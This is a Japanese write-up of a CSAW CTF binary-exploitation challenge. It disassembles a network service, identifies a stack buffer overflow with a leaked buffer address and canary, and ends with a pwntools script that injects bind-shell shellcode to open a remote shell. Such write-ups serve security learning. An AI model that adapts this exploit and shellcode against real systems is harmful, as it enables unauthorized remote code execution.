問題ファイルはここ。 今回はソースコードはなくバイナリだけ。
$ file exploit2
exploit2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=94f196c7d8ce45ecf9943690ed4e193c9d13b906, not stripped
スタック上のコードは実行可能。
$ objdump -x ./exploit2 | grep STACK -A1
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx
動きを見てみると31338ポートでリッスンしている。
$ ltrace ./exploit2
__libc_start_main(0x804892b, 1, 0xff8b4484, 0x8048c20 <unfinished ...>
getaddrinfo("0.0.0.0", "31338", 0xff8b4328, 0xff8b4324) = 0
socket(2, 1, 6) = 3
setsockopt(3, 1, 2, 0xff8b4320) = 0
bind(3, 0x9d34028, 16, 0xff8b4320) = 0
listen(3, 100, 16, 0xff8b4320) = 0
freeaddrinfo(0x9d34008) = <void>
sigemptyset(<>) = 0
sigaction(SIGCHLD, { 0x80487e4, <>, 0, 0 }, nil) = 0
accept(3, 0xff8b4310, 0xff8b430c, 0xff8b4320
ncで繋ぐと以下のメッセージが出た。
$ nc localhost 31338
�:�����uWelcome to CSAW CTF. Exploitation 2 will be a little harder this year. Insert your exploit here:
xxdを通して見た結果
$ nc localhost 31338 | xxd
0000000: cc3a 8bff 54e4 3260 5765 6c63 6f6d 6520 .:..T.2`Welcome
0000010: 746f 2043 5341 5720 4354 462e 2020 4578 to CSAW CTF. Ex
0000020: 706c 6f69 7461 7469 6f6e 2032 2077 696c ploitation 2 wil
0000030: 6c20 6265 2061 206c 6974 746c 6520 6861 l be a little ha
0000040: 7264 6572 2074 6869 7320 7965 6172 2e20 rder this year.
0000050: 2049 6e73 6572 7420 796f 7572 2065 7870 Insert your exp
0000060: 6c6f 6974 2068 6572 653a 00 loit here:
よくわからなかったのでバイナリを見てみる。 するとhandle関数でメッセージの送受信をしていることがわかる。
$ objdump -d -M intel ./exploit2 | grep "handle>:" -A75
0804880d <handle>:
804880d: 55 push ebp
804880e: 89 e5 mov ebp,esp
8048810: 57 push edi
8048811: 53 push ebx
8048812: 81 ec 20 08 00 00 sub esp,0x820
8048818: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0
804881f: 8d 85 f4 f7 ff ff lea eax,[ebp-0x80c]
8048825: 89 c3 mov ebx,eax
8048827: b8 00 00 00 00 mov eax,0x0
804882c: ba 00 02 00 00 mov edx,0x200
8048831: 89 df mov edi,ebx
8048833: 89 d1 mov ecx,edx
8048835: f3 ab rep stos DWORD PTR es:[edi],eax
8048837: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
804883e: e8 8d fd ff ff call 80485d0 <time@plt>
8048843: 89 04 24 mov DWORD PTR [esp],eax
8048846: e8 05 fe ff ff call 8048650 <srand@plt>
804884b: e8 30 fe ff ff call 8048680 <rand@plt>
8048850: a3 74 a0 04 08 mov ds:0x804a074,eax
8048855: a1 74 a0 04 08 mov eax,ds:0x804a074
804885a: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
804885d: 8d 85 f4 f7 ff ff lea eax,[ebp-0x80c]
8048863: 8d 95 f4 f7 ff ff lea edx,[ebp-0x80c]
8048869: 89 10 mov DWORD PTR [eax],edx
804886b: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0
8048872: 00
8048873: c7 44 24 08 04 00 00 mov DWORD PTR [esp+0x8],0x4
804887a: 00
804887b: 8d 85 f4 f7 ff ff lea eax,[ebp-0x80c]
8048881: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
8048885: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
8048888: 89 04 24 mov DWORD PTR [esp],eax
804888b: e8 90 fe ff ff call 8048720 <send@plt>
8048890: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0
8048897: 00
8048898: c7 44 24 08 04 00 00 mov DWORD PTR [esp+0x8],0x4
804889f: 00
80488a0: 8d 45 f4 lea eax,[ebp-0xc]
80488a3: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80488a7: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
80488aa: 89 04 24 mov DWORD PTR [esp],eax
80488ad: e8 6e fe ff ff call 8048720 <send@plt>
80488b2: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0
80488b9: 00
80488ba: c7 44 24 08 63 00 00 mov DWORD PTR [esp+0x8],0x63
80488c1: 00
80488c2: c7 44 24 04 f0 8c 04 mov DWORD PTR [esp+0x4],0x8048cf0
80488c9: 08
80488ca: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
80488cd: 89 04 24 mov DWORD PTR [esp],eax
80488d0: e8 4b fe ff ff call 8048720 <send@plt>
80488d5: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0
80488dc: 00
80488dd: c7 44 24 08 00 10 00 mov DWORD PTR [esp+0x8],0x1000
80488e4: 00
80488e5: 8d 85 f4 f7 ff ff lea eax,[ebp-0x80c]
80488eb: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80488ef: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
80488f2: 89 04 24 mov DWORD PTR [esp],eax
80488f5: e8 06 fe ff ff call 8048700 <recv@plt>
80488fa: c6 45 f3 00 mov BYTE PTR [ebp-0xd],0x0
80488fe: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc]
8048901: a1 74 a0 04 08 mov eax,ds:0x804a074
8048906: 39 c2 cmp edx,eax
8048908: 74 17 je 8048921 <handle+0x114>
804890a: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
804890d: 89 04 24 mov DWORD PTR [esp],eax
8048910: e8 fb fd ff ff call 8048710 <close@plt>
8048915: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
804891c: e8 1f fd ff ff call 8048640 <exit@plt>
8048921: 81 c4 20 08 00 00 add esp,0x820
8048927: 5b pop ebx
8048928: 5f pop edi
8048929: 5d pop ebp
804892a: c3 ret
1回目のsend関数ではrecv関数で受信したメッセージを格納するバッファの先頭アドレスが送られる。 2回目のsend関数では独自のカナリーっぽいデータが送られる。 handle関数の終わりでこのデータが書き換えられているかチェックしている。 3回目のsend関数では「Welcome to CSAW CTF. Exploitation 2 will be a little harder this year. Insert your exploit here:」が送られる。
変数は$ebp-0x80cから$ebp-0xcまでがバッファでサイズは0x800、$ebp-0xcから4バイトがカナリーっぽいデータだ。
recv関数に注目するとバッファのサイズを超えてデータを読み込んでいる。 そこでバッファの先頭にはシェルコードを埋め込んでおきつつ、バッファオーバーフローでリターンアドレスを書き換えバッファの先頭にEIPを移動させる。 スタック上のコードは実行可能なのでシェルコードが実行されコチラの思うがままになる。 という訳でそれをするコードを書いた。
from pwn import * #https://github.com/Gallopsled/pwntools
TARGET = 'localhost'
PORT = 31338
buffer_size = 0x800
# http://shell-storm.org/shellcode/files/shellcode-882.php
shellcode = '\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80'
r = remote(TARGET, PORT)
addr_buffer = u32(r.recv(4))
cookie = u32(r.recv(4))
print('[*] recv message\n%s\n' % r.recv())
payload = shellcode
payload += 'A' * (buffer_size - len(shellcode))
payload += p32(cookie)
payload += 'AAAA' * 3
payload += p32(addr_buffer)
r.sendline(payload)
remote_shell = remote(TARGET, 1337)
remote_shell.interactive()
これで対話的なシェルを開くことができるはず。 終わり